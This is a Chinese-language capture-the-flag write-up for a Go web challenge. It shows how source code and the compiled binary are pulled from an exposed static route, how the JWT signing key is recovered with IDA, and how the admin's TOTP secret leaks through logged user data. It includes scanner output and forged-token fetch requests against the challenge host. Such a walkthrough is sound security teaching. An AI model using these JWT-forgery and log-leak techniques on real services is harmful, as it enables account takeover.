#
原理
打开首页
1
2
3
4
5
6
7
| <head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="refresh" content="1; url='/static/backup.zip'">
<title>超安全的FLAG自助发放机</title>
<link rel="stylesheet" href="static/assets/css/simple.css">
</head>
|
自动下载 /static/backup.zip 下的源码
1
2
3
| 0.go.bak 源码
build.sh 编译脚本
go.mod GO程序所使用模块的描述文件
|
先看源码路由
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| gin.SetMode(gin.ReleaseMode)
r := gin.Default()
service := r.Group("/service")
service.Use(authReq())
{
service.POST("/flag", flagHandle)
}
r.StaticFile("/", "./assets/index.html")
r.StaticFile("/flag", "./assets/flag.html")
r.StaticFile("/login", "./assets/login.html")
r.StaticFile("/signup", "./assets/signup.html")
r.StaticFile("/update", "./assets/update.html")
r.Static("/static", "./")
r.POST("/x/login", login)
r.POST("/x/signup", signup)
r.GET("/ping", func(ctx *gin.Context) {
ctx.JSON(http.StatusOK, gin.H{
"message": "pong",
"host": ctx.Request.Host,
})
})
|
1
| r.Static("/static", "./")
|
static 路由 开启了文件服务
用dirsearch扫描出nohup.out,backup.zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| _|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
[18:19:47] Starting: static/
[ ] 3% 420/11460 0/s job:1/1 errors:0
[#### ] 21% 2435/11460 21/s job:1/1 errors:41
[18:32:54] 301 - 0B - /static/assets -> assets/
[18:32:54] 200 - 581B - /static/assets/
[18:33:23] 200 - 5KB - /static/backup.zip
[18:45:11] 200 - 824KB - /static/nohup.out
Task Completed
|
backup.zip 是我们获取到的源码
访问一下看看 nohup.out
是程序的 stdout 输出回显
我们看看 /service/flag 路由
该路由在 /service 路由组下,并使用了 authReq() 作为中间件
中间件核心代码为
1
2
3
4
5
6
7
8
9
10
11
| authHeader := ctx.GetHeader("Authorization")
tokenString := authHeader[7:]
jwtClaims := jwt.MapClaims{}
token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(jwtKey), nil
})
ctx.Set("username", jwtClaims["Username"])
ctx.Next()
|
获取了Authorization请求头,并通过预设的jwtKey解析 Json Web Token
解析成功后将JWT对应用户名设置传给gin ctx上下文
在flagHandle()函数中,获取上面从JWT解析出的 username
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| func flagHandle(ctx *gin.Context) {
username := ctx.GetString("username")
flag := "flag{1234567890}"
if username == "admin" {
flag = os.Getenv("GZCTF_FLAG")
}
user, ok := get(username)
if !ok {
ctx.JSON(http.StatusBadRequest, gin.H{
"error": "用户不存在, 可能是当前TOKEN已过期",
})
return
}
key := user.(User).TotpKey
if !totp.Validate(ctx.PostForm("totpCode"), key) {
ctx.JSON(http.StatusBadRequest, gin.H{
"error": "totp code invalid",
})
return
}
ctx.JSON(http.StatusOK, gin.H{
"code": 10001,
"msg": "Hi," + username,
"flag": flag,
})
}
|
可以看到,需要满足两个条件
- 用户名为admin的情况下才会将flag设置为环境变量
- 用户的二步验证码必须正确
满足后才将真实flag输出
普通用户只能拿到 flag{1234567890}
我们打开网站测试一下
先注册
尝试注册admin,提示用户名不可用
我们注册个别的
提示需要TOTP绑定二步验证
我们可以使用 Google Authenticator 或者搜个在线版TOTP使用
这里方便测试使用了在线版
日常使用请使用独立APP并关闭联网权限
绑定成功后我们去登陆
输入TOTP生成器内的验证码,成功登录,弹出一个领flag的按钮
点击 《领flag》
毫无疑问的领到假flag
查看请求头,有Token,我们拿去厨子那解码一下
1
| Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoic2xlZXBzb3J0In0.PsNxcpWWeq8oTRnaEWL6kd-2Ph_kFE3OohCIisctGu4
|
选择 JWT Decode
1
2
3
4
| {
"ExpiresAt": 1714225067,
"Username": "sleepsort"
}
|
成功解码,一个过期时间和一个当前用户的用户名
我们尝试JWT伪造
先尝试用程序内的jwtKey
1
| var jwtKey = "000_JWT_KEY_REPLACEMENT_000"
|
赛博厨子Bake一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| fetch("http://ip:20239/service/flag", {
"headers": {
"accept": "*/*",
"accept-language": "en-GB,en;q=0.9,en-US;q=0.8,zh-CN;q=0.7,zh;q=0.6",
"authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MTQyMTg3MjJ9.vtoo5xudfwOhSvcaArw-m7C_qRr85PUvFRJJY8SQ7b0",
"content-type": "multipart/form-data; boundary=----WebKitFormBoundaryYLPUGU58R8x9ThNO"
},
"referrer": "http://ip:20239/flag",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "------WebKitFormBoundaryYLPUGU58R8x9ThNO\r\nContent-Disposition: form-data; name=\"totpCode\"\r\n\r\n876327\r\n------WebKitFormBoundaryYLPUGU58R8x9ThNO--\r\n",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
|
提示
1
| {"error":"无效的授权令牌,可能是没有登录,或签名是伪造的"}
|
看来Key是错的
看一下编译脚本内的内容
1
2
3
4
| #!/bin/sh
JWT_KEY=$(cat /dev/urandom | tr -cd 'A-Za-z0-9' | head -c 32)
sed -u s/000_JWT_KEY_REPLACEMENT_000/$JWT_KEY/g ./0.go.bak > 0.go
CGO_ENABLED=0 go build -trimpath -v -ldflags="-w"
|
使用sed命令把 000_JWT_KEY_REPLACEMENT_000 替换成了随机32位的字符串,有大小写还有数字
可以说告别了爆破
我们得想办法搞到替换后的 0.go 或者 编译后的程序来获取jwtKey
1
| r.Static("/static", "./")
|
static 路径是和程序文件在同一个目录下的
尝试static下的 0.go, 没有
1
2
3
4
| curl http://ip:20239/static/0.go -i
HTTP/1.1 404 Not Found
Date: Sat, 27 Apr 2024 12:12:47 GMT
Content-Length: 0
|
压缩包里给了个 go.mod 文件
1
2
3
4
5
6
7
8
| module goauth
go 1.22.1
require (
github.com/gin-gonic/gin v1.9.1
github.com/pquerna/otp v1.4.0
)
|
而go程序在编译时,会默认使用 module 名作为生成的程序名
1
2
3
4
5
6
| wget http://ip:20239/static/goauth
--2024-04-27 20:18:06-- http://ip:20239/static/goauth
Connecting to ip:20239... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8293884 (7.9M) [application/octet-stream]
Saving to: ‘goauth’
|
获得了 程序
试下strings,有定义没有内容
1
2
| strings goauth |grep jwtKey
main.jwtKey
|
接着我们
#
IDA64启动!
结合我们获取到的源码,找一下jwtKey
因为编译时没有 strip
所以函数,字段,都比较清楚
源码内 authReq() 和 login() 函数获取了jwtKey
我们选 authReq()
1
2
3
4
5
6
7
| token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(jwtKey), nil
})
|
在 authReq_func2_1 中找到 获取jwtKey的点
获取到 jwtKey
找赛博厨子Bake一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| fetch("http://ip:20239/service/flag", {
"headers": {
"accept": "*/*",
"accept-language": "en-GB,en;q=0.9,en-US;q=0.8,zh-CN;q=0.7,zh;q=0.6",
"authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MTQyMjExMTB9.bn9OFUemUmcTum8IiwUzk8avWody3fE9FuslHZpknLU",
"content-type": "multipart/form-data; boundary=----WebKitFormBoundaryYLPUGU58R8x9ThNO"
},
"referrer": "http://ip:20239/flag",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "------WebKitFormBoundaryYLPUGU58R8x9ThNO\r\nContent-Disposition: form-data; name=\"totpCode\"\r\n\r\n876327\r\n------WebKitFormBoundaryYLPUGU58R8x9ThNO--\r\n",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
|
1
2
3
| {
"error": "totp code invalid"
}
|
可以看到,不再报JWT错误
但提示了TOTP错误
还需要获取到 admin 的TOTP密钥来生成实时的验证码
程序启动的时候,系统自动添加了admin用户
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| func main() {
{
username := "admin"
key, err := generateTotpCode("S1eepS0rt", username)
if err != nil {
sysLog(err)
}
user := User{
Username: username,
Password: "rsVlkNgAJrDgNuXn/a7LFvYe73w=",
TotpKey: key.Secret(),
TotpEnabled: true,
}
set(username, user)
}
}
|
可以看到TotpKey是程序运行时生成的
密码设置为一串BASE64
但结合登录函数分析,该Base64其实是密码的hash
1
2
3
4
5
| func passwordHash(pass string) string {
passHash := sha1.Sum([]byte(pass))
return base64.StdEncoding.EncodeToString(passHash[:])
}
if passwordHash(password) != user.Password
|
前面扫描目录时我们扫到了 nohup.out 可以直接获取程序的 stdout 输出
我们检查下代码,哪里可以导致admin的TotpKey被泄露
我们检查 sysLog() 函数
最终定位到 检查用户登录的 check() 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
| func check(username string, password string, totpCode string, ctx *gin.Context) bool {
if (username == "") || (password == "") {
ctx.JSON(http.StatusBadRequest, gin.H{
"error": "Username or password cannot be empty",
})
return false
}
if value, ok := get(username); ok {
if user, ok := value.(User); ok {
if totpCode == "" {
ctx.JSON(http.StatusBadRequest, gin.H{
"error": "need totp code",
})
return false
} else {
if totp.Validate(totpCode, user.TotpKey) {
return true
} else {
sysLog("User:", user.Username, user)
ctx.JSON(http.StatusOK, gin.H{
"code": 40001,
"error": "totp code invalid",
})
return false
}
}
if passwordHash(password) != user.Password {
ctx.JSON(http.StatusBadRequest, gin.H{
"error": "username or password not match",
})
return false
}
} else {
ctx.JSON(http.StatusBadRequest, gin.H{
"error": "username or password not match",
})
return false
}
} else {
sysLog("no such user:", username)
ctx.JSON(http.StatusBadRequest, gin.H{
"error": "username or password not match",
})
return false
}
return false
}
|
在这个check函数里,先检查了用户名或密码是否为空
接着检查了用户是否存在
若存在,则检查totpCode是否通过
随后才检查了用户的用户名和密码是否匹配
(这里写了个BUG,有一个非预期解,可以一把梭)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| if totpCode == "" {
ctx.JSON(http.StatusBadRequest, gin.H{
"error": "need totp code",
})
return false
} else {
if totp.Validate(totpCode, user.TotpKey) {
return true
} else {
sysLog("User:", user.Username, user)
ctx.JSON(http.StatusOK, gin.H{
"code": 40001,
"error": "totp code invalid",
})
return false
}
}
if passwordHash(password) != user.Password {
ctx.JSON(http.StatusBadRequest, gin.H{
"error": "username or password not match",
})
return false
}
|
当totpCode检查不通过时,会在console中记录对应的用户
1
| sysLog("User:", user.Username, user)
|
这里直接把整个user结构体打印了
也就是说,我们无需admin的密码,就能泄露其整个用户的结构体数据到 console
结合上面扫描出的 nohup.out 便可获取 admin 的 TotpKey
我们在登录框填写admin,密码和totpCode任意填
提示 totp code invalid
接着我们去获取程序的console输出
获取到了 admin 的 TotpKey
我们此时对 /service/flag 接口提交伪造后的 Json Web Token
并附上 根据 admin TotpKey 实时生成的验证码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| fetch("http://ip:20239/service/flag", {
"headers": {
"accept": "*/*",
"accept-language": "en-GB,en;q=0.9,en-US;q=0.8,zh-CN;q=0.7,zh;q=0.6",
"authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MTQyMjExMTB9.bn9OFUemUmcTum8IiwUzk8avWody3fE9FuslHZpknLU",
"content-type": "multipart/form-data; boundary=----WebKitFormBoundaryYLPUGU58R8x9ThNO"
},
"referrer": "http://ip:20239/flag",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "------WebKitFormBoundaryYLPUGU58R8x9ThNO\r\nContent-Disposition: form-data; name=\"totpCode\"\r\n\r\n285048\r\n------WebKitFormBoundaryYLPUGU58R8x9ThNO--\r\n",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
|
可得flag